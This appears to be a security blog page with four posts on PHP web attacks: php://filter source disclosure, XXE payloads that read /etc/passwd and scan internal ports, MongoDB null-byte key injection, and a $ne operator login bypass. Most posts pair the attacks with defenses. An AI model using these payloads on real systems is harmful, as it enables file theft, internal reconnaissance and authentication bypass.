Using php://filter for local file inclusion

I came across a website where the site was vulnerable to LFI (local file inclusion) however the inclusion was done using a require_once and the script appended a .php extension to the end of the file; furthermore it was not vulnerable to null byte injection which meant that if I did include a file that:

  1. The file would have to be valid PHP syntax
  2. I would not be able to see anything contained between <? ?> tags
  3. Anything I could include would be executed.
  4. The file would have to end in the PHP extension

I tried to see if I could include remote files by specifying a URL as the parameter, sadly allow_url_include was turned off so that failed. When I specified a valid PHP page it simply returned the normal page as expected.

The solution that allowed me to view the source of any PHP file was to use the function php://filter/convert.base64_encode/resource which has been available since PHP 5.0.0


http://www.example.com/index.php?m=php://filter/convert.base64-encode/resource=index

This forces PHP to base64 encode the file before it is used in the require statement. From this point its a matter of then decoding the base64 string to obtain the source code for the PHP files. Simple yet effective..


Once you’ve got the source code for one file you can inspect it for further vulnerabilities such as SQL injections and additional PHP files referenced via include or require.

Posted in PHP | Tagged , , | 3 Comments

Scanning the internal network using SimpleXML

XML is widely used throughout PHP applications in the representation arbitrary data structures such as with SOAP and REST web services. It supports the use of external entities allowing you to bring in information from external sources. This is useful when you want to create common references that are shared between XML documents – when you update the external source it becomes updated in all the XML documents. For example when we update the file copyright.xml it automatically gets dragged into the XML document below.

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE copyright [
  <!ELEMENT copyright (#PCDATA)>
  <!ENTITY c SYSTEM "http://www.xmlwriter.net/copyright.xml">
]>
<copyright>&c;</copyright>

SimpleXML lets us bring any URL – for example http://www.example.com/blahblahblah.xml – into the document. The problem is that if the external entity isn’t  a valid XML endpoint it wont get parsed and PHP will throw an error like this.

Warning: simplexml_load_string(): php_network_getaddresses: getaddrinfo failed: Name or service not known in xml.php on line 5

Warning: simplexml_load_string(http://www.example.com/blahblahblah.xml): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in xml.php on line 5

Security issues arise because PHP places no restrictions on what URLs can be accessed; any URL that the parser can access can be included in the XML as a external entity. Even if allow_url_fopen is set to false it is still possible to include these files. Furthermore it is possible to specify ports to which the XML parser will connect, here we connect to localhost on port 22

<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]>
<scan>&test;</scan>

As long as PHP error messages are enabled you get back the banner of the service running even if the port doesn’t support the HTTP protocol.

Warning: simplexml_load_string(http://localhost:22): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_5.5p1 Debian-4ubuntu5
 in testxml.php on line 10

If error messages are suppressed it is still possible to work out if a service is running on the port by comparing the time taken to connect to a known open port (such as localhost:80) to known closed port. Using this technique its possible to scan the networks attached to the XML parser endpoint for services that otherwise might be blocked to the outside world by a firewall.

XML for Local File Inclusion
Turns out not only can you include remote URL you can also include local files (a.k.a Local File Inclusion – LFI) by using the file:// prefix (thanks to Am for pointing this out) e.g.

<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///etc/passwd">]>
<scan>&test;</scan>

If the result is echoed back to the end user it will contain a copy of /etc/passwd – The caveat is that the local file inclusion must be valid XML, this means that you cant include binary files – however, using PHP filters its possible to encode binary files as a Base64 encoded string e.g.

<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<scan>&test;</scan>

This means that any PHP system parsing XML is potentially vulnerable to Local and Remote File Inclusion attacks.

Defending against XML External Entity attacks
There doesn’t appear to be a PHP configuration setting to disable the external entity feature however by issuing the command libxml_disable_entity_loader before the XML is parsed it is possible to turn external entities off at runtime and protect yourself from this threat e.g.

libxml_disable_entity_loader(true);
Posted in Web Services | Tagged , , , , , | 7 Comments

MongoDB Null Byte Injection attacks

Following my earlier post on how MongoDB can be vulnerable to SQL injection I discovered that MongoDB is also vulnerable to Null Byte Injection. The attack could potentially let users overwrite fields in the database to which the application logic denies them access. In extreme cases it may be possible to trick the application in writing to or reading from a different database or collection.

Lets take a look at an example. The code below allows users to insert random objects into the collection by passing an array of objects in the GET command. However it denies them access to insert the field “verified”.

$con = new Mongo("mongodb://localhost");
$db  = $con->selectDB("example")->
          selectCollection("population");

$_GET['person'] = array(
    "name" => "Alice",
    "age" => 20,
    "verified" => true
);

unset($_GET['person']['verified']);
$db->insert($GET['person'], true);

When we inspect the database we can see that the object was created in the “population” collection with the exception of the “verified” field.

> use example
switched to db example
> db.population.find();
{ "_id" : ObjectId("4d567e42528a7b056e000000"), "name" : "Alice", "age" : 20 }

This code should allow the user to insert any people and prevent the “verified” field from being set. However, by injecting a null byte into the array key we can bypass the checks and allow the field “verified” to be stored in MongoDB.

$con = new Mongo("mongodb://localhost");
$db  = $con->selectDB("example")->
          selectCollection("population");

$_GET['person'] = array(
    "name" => "Alice",
    "age" => 20,
    "verified" . chr(0) . "ignored" => true
);

unset($_GET['person']['verified']);

$db->insert($_GET['person'], true);

The MongoDB server filters out anything after the null byte and when we check the collection we can see that the “verified” field has been populated.

> use example
switched to db example
> db.population.find();
{ "_id" : ObjectId("4d567ff5528a7b476e000000"), "name" : "Alice", "age" : 20, "verified" : true }

The Null Byte Injection affects the collection and database names as well. The code below would still write to the example.population collection.

$con = new Mongo("mongodb://localhost");
$db  = $con->selectDB("example" . chr(0) . "ignored")->
selectCollection("population" . chr(0) . "ignored");

The best solution is to strictly validate the fields you allow users to pass to a collection, additionally check each user-supplied database and collection string for the presence of null-bytes.

Posted in MongoDB | Tagged , , , | 4 Comments

Mongodb is vulnerable to SQL injection in PHP at least

Its a common misconception that as MongoDB does not use SQL it is not vulnerable to SQL injection attacks. PHP uses objects rather than SQL to pass queries to the MongoDB server; for example the following script selects an item form MongoDB where the username equals ‘bob’ and the password equals ‘password’.

$collection->find(array(
    "username" => $_GET['username'],
    "passwd" => $_GET['passwd']
));

This is equivalent to the SQL syntax

mysql_query("SELECT * FROM collection
    WHERE username=" . $_GET['username'] . ",
    AND passwd=" . $_GET['passwd'])

In a normal SQL injection attack we can replace either of the two input parameters with a string such that the SQL query always returns true. e.g.

login.php?username=admin&passwd=" OR 1 --

That wont work with MongoDB; however if we can pass in an object to the PHP MongoDB driver we could alter the query in a similar fashion. Luckily PHP provides us with a way to pass objects as GET or POST parameters:

login.php?username=admin&passwd[$ne]=1

This creates the MongoDB query

$collection->find(array(
    "username" => "admin",
    "passwd" => array("$ne" => 1)
));

Which is the equivalent to the following SQL statement which, unless the password is “1″ will always return true.

mysql_query("SELECT * FROM collection
    WHERE username="admin",
    AND passwd!=1

The solution is to ensure your variables are properly typed before they are passed into the MongoDB driver. The following code is not vulnerable to MongoDB injection:

$collection->find(array(
    "username" => (string)$_GET['username'],
    "passwd" => (string)$_GET['passwd']
));
Posted in MongoDB | Tagged , , , | 5 Comments